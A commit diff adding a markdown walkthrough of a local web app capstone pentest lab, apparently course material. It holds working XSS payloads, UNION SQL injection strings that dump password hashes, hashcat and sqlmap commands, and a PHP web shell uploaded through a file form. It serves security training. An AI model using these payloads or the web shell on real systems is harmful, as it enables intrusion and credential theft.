Skip to content

Commit 24d900d

Browse files
syselementsyselement
committed
PEH done
1 parent 819d650 commit 24d900d

File tree

2 files changed

+208
-0
lines changed

2 files changed

+208
-0
lines changed

‎peh/6-webapp/.gitbook/assets/2025-02-28_19-27-14_931.png

12.6 KB
Loading

‎peh/6-webapp/9-web-capstone-lab.md

+208
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,211 @@
11
# Web App - Capstone Practical Lab
22

33
Analyze and pentest the web application by finding all the impactful issues.
4+
5+
- Run BurpSuite to capture all the traffic and browse to `http://localhost/capstone/`
6+
7+
```bash
8+
ffuf -u http://localhost/capstone/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php -recursion
9+
10+
ffuf -u http://localhost/capstone/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php -recursion -fs 274
11+
```
12+
13+
```bash
14+
________________________________________________
15+
16+
:: Method : GET
17+
:: URL : http://localhost/capstone/FUZZ
18+
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
19+
:: Extensions : .php
20+
:: Follow redirects : false
21+
:: Calibration : false
22+
:: Timeout : 10
23+
:: Threads : 40
24+
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
25+
:: Filter : Response size: 274
26+
________________________________________________
27+
28+
admin [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 1ms]
29+
[INFO] Adding a new job to the queue: http://localhost/capstone/admin/FUZZ
30+
31+
assets [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 2ms]
32+
[INFO] Adding a new job to the queue: http://localhost/capstone/assets/FUZZ
33+
34+
auth.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 7ms]
35+
[Status: 200, Size: 14261, Words: 2458, Lines: 109, Duration: 116ms]
36+
coffee.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 18ms]
37+
db.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 21ms]
38+
index.php [Status: 200, Size: 14261, Words: 2458, Lines: 109, Duration: 69ms]
39+
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 12ms]
40+
index.php [Status: 200, Size: 14261, Words: 2458, Lines: 109, Duration: 75ms]
41+
init.php [Status: 200, Size: 238, Words: 22, Lines: 8, Duration: 155ms]
42+
[INFO] Starting queued job on target: http://localhost/capstone/admin/FUZZ
43+
44+
admin.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 28ms]
45+
admin.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 32ms]
46+
[INFO] Starting queued job on target: http://localhost/capstone/assets/FUZZ
47+
48+
:: Progress: [9228/9228] :: Job [3/3] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
49+
```
50+
51+
- Sign up with a weak password and login
52+
- The message is reflected on the URL
53+
54+
```bash
55+
http://localhost/capstone/index.php?message=You%20successfully%20logged%20in!
56+
```
57+
58+
Try some HTML injection and XSS
59+
60+
- 📌 **Reflected XSS** is present
61+
62+
```bash
63+
http://localhost/capstone/index.php?message=<script>prompt(1)</script>
64+
```
65+
66+
Go to `http://localhost/capstone/coffee.php?coffee=1`
67+
68+
- Try XSS it in the **Add rating** comment - `<script>prompt(1)</script>`
69+
- Refresh the page to test the stored XSS
70+
- 📌 **Stored XSS** is present
71+
72+
Try SQL injection in the `http://localhost/capstone/coffee.php?coffee=1` URL
73+
74+
```bash
75+
http://localhost/capstone/coffee.php?coffee=1%27%20or%201=1#
76+
# informational issue
77+
78+
http://localhost/capstone/coffee.php?coffee=1%27%20or%201=1--%20-
79+
# Success - Returns all coffees
80+
81+
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,null,null,null,null,null,null--%20-
82+
# Success - UNION select
83+
84+
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,TABLE_NAME,%27string%27,null,null,null,null%20FROM%20INFORMATION_SCHEMA.TABLES--%20-
85+
# Success - tables
86+
87+
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,COLUMN_NAME,%27string%27,null,null,null,null%20FROM%20INFORMATION_SCHEMA.COLUMNS--%20-
88+
# Success - columns: user_id, username, password, etc
89+
90+
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20FROM%20users--%20-
91+
# Success - got users with passwords hash
92+
```
93+
94+
- 📌 SQLi
95+
- `=1' or 1=1-- -`
96+
- `=1' union select null,null,null,null,null,null,null-- -`
97+
- `=1' union select null,TABLE_NAME,'string',null,null,null,null FROM INFORMATION_SCHEMA.TABLES-- -`
98+
- `=1' union select null,COLUMN_NAME,'string',null,null,null,null FROM INFORMATION_SCHEMA.COLUMNS-- -`
99+
- `=1' union select null,username,password,null,null,null,null FROM users-- -`
100+
101+
```bash
102+
# Users hashes
103+
jeremy:
104+
$2y$10$F9bvqz5eoawIS6g0FH.wGOUkNdBYLFBaCSzXvo2HTegQdNg/HlMJy
105+
jessamy:
106+
$2y$10$meh2WXtPZgzZPZrjAmHi2ObKk6uXd2yZio7EB8t.MVuV1KwhWv6yS
107+
ray:
108+
$2y$10$cCXaMFLC.ymTSqu1whYWbuU38RBN900NutjYBvCClqh.UHHg/XfFy
109+
bob:
110+
$2y$10$ojC8YCMKX2r/Suqco/h.TOFTIaw5k3Io5FVSCeWjCCqL8GWwmAczC
111+
maria:
112+
$2y$10$EPM4Unjn4wnn4SjoEPJu7em6OLISImA50QS3T1jCLyh48d7Pv6KBi
113+
amir:
114+
$2y$10$qAXjb233b7CMHc69CU.8ueluFWZDt9f08.XYJjsJ.EfC/O5JGSOqW
115+
xinyi:
116+
$2y$10$37gojoTFmj86E6NbENGg9e2Xu2z6OKKSgnjYxDkXJn/8dvSk2tKfG
117+
kofi:
118+
$2y$10$5sVvPfZOjzRTSeXJtQBGc.CfsDEwvITNkIg2IF9jSBhZZ1Rq.IK3.
119+
```
120+
121+
- Try to crack some of the hashes with mode `bcrypt $2*$, Blowfish (Unix)`
122+
123+
```bash
124+
nano hash.txt
125+
126+
$2y$10$F9bvqz5eoawIS6g0FH.wGOUkNdBYLFBaCSzXvo2HTegQdNg/HlMJy
127+
$2y$10$meh2WXtPZgzZPZrjAmHi2ObKk6uXd2yZio7EB8t.MVuV1KwhWv6yS
128+
```
129+
130+
```bash
131+
hashcat -m 3200 hash.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
132+
133+
hashcat -m 3200 hash.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt --show
134+
135+
$2y$10$F9bvqz5eoawIS6g0FH.wGOUkNdBYLFBaCSzXvo2HTegQdNg/HlMJy:captain1
136+
```
137+
138+
- Run `sqlmap` on the `http://localhost/capstone/coffee.php?coffee=1` request
139+
- Get it from BurpSuite
140+
141+
```bash
142+
nano coffee.txt
143+
144+
GET /capstone/coffee.php?coffee=1 HTTP/1.1
145+
Host: localhost
146+
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
147+
sec-ch-ua-mobile: ?0
148+
sec-ch-ua-platform: "Linux"
149+
Accept-Language: en-US,en;q=0.9
150+
Upgrade-Insecure-Requests: 1
151+
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
152+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
153+
Sec-Fetch-Site: none
154+
Sec-Fetch-Mode: navigate
155+
Sec-Fetch-User: ?1
156+
Sec-Fetch-Dest: document
157+
Accept-Encoding: gzip, deflate, br
158+
Cookie: PHPSESSID=6f9efce7c39046143f27daa3f9d80638
159+
Connection: keep-alive
160+
```
161+
162+
```bash
163+
sqlmap -r coffee.txt -T users --dump
164+
```
165+
166+
```bash
167+
# sqlmap result
168+
Database: peh-capstone-labs
169+
Table: users
170+
[9 entries]
171+
+---------+--------+--------------------------------------------------------------+----------+
172+
| user_id | type | password | username |
173+
+---------+--------+--------------------------------------------------------------+----------+
174+
| 1 | admin | $2y$10$F9bvqz5eoawIS6g0FH.wGOUkNdBYLFBaCSzXvo2HTegQdNg/HlMJy | jeremy |
175+
| 2 | admin | $2y$10$meh2WXtPZgzZPZrjAmHi2ObKk6uXd2yZio7EB8t.MVuV1KwhWv6yS | jessamy |
176+
| 3 | admin | $2y$10$cCXaMFLC.ymTSqu1whYWbuU38RBN900NutjYBvCClqh.UHHg/XfFy | raj |
177+
| 4 | user | $2y$10$ojC8YCMKX2r/Suqco/h.TOFTIaw5k3Io5FVSCeWjCCqL8GWwmAczC | bob |
178+
| 5 | user | $2y$10$EPM4Unjn4wnn4SjoEPJu7em6OLISImA50QS3T1jCLyh48d7Pv6KBi | maria |
179+
| 6 | user | $2y$10$qAXjb233b7CMHc69CU.8ueluFWZDt9f08.XYJjsJ.EfC/O5JGSOqW | amir |
180+
| 7 | user | $2y$10$37gojoTFmj86E6NbENGg9e2Xu2z6OKKSgnjYxDkXJn/8dvSk2tKfG | xinyi |
181+
| 8 | user | $2y$10$5sVvPfZOjzRTSeXJtQBGc.CfsDEwvITNkIg2IF9jSBhZZ1Rq.IK3. | kofi |
182+
| 9 | user | $2y$10$C2L29W3hbwvK..KvPltBmO5aL8CD74yByBzat6GEMmJA2ah15JvtS | sys |
183+
+---------+--------+--------------------------------------------------------------+----------+
184+
```
185+
186+
📌 Creds - `jeremy`:`captain1`
187+
188+
- Login as `jeremy`
189+
- Browse to `http://localhost/capstone/admin/admin.php`
190+
191+
Try to add a new coffee and upload a file.
192+
193+
- Find the `POST` request, send to Repeater and try to upload a shell
194+
195+
```bash
196+
Content-Disposition: form-data; name="image"; filename="logo.php"
197+
Content-Type: image/png
198+
199+
PNG
200+
... <?php system($_GET['cmd']); ?>
201+
```
202+
203+
- The file has been uploaded successfully
204+
- Open `http://localhost/capstone/assets/12.php`
205+
- `http://localhost/capstone/assets/12.php?cmd=whoami`
206+
- 📌 Insecure file upload successful
207+
208+
![](.gitbook/assets/2025-02-28_19-27-14_931.png)
209+
210+
---
211+

0 commit comments

Comments
 (0)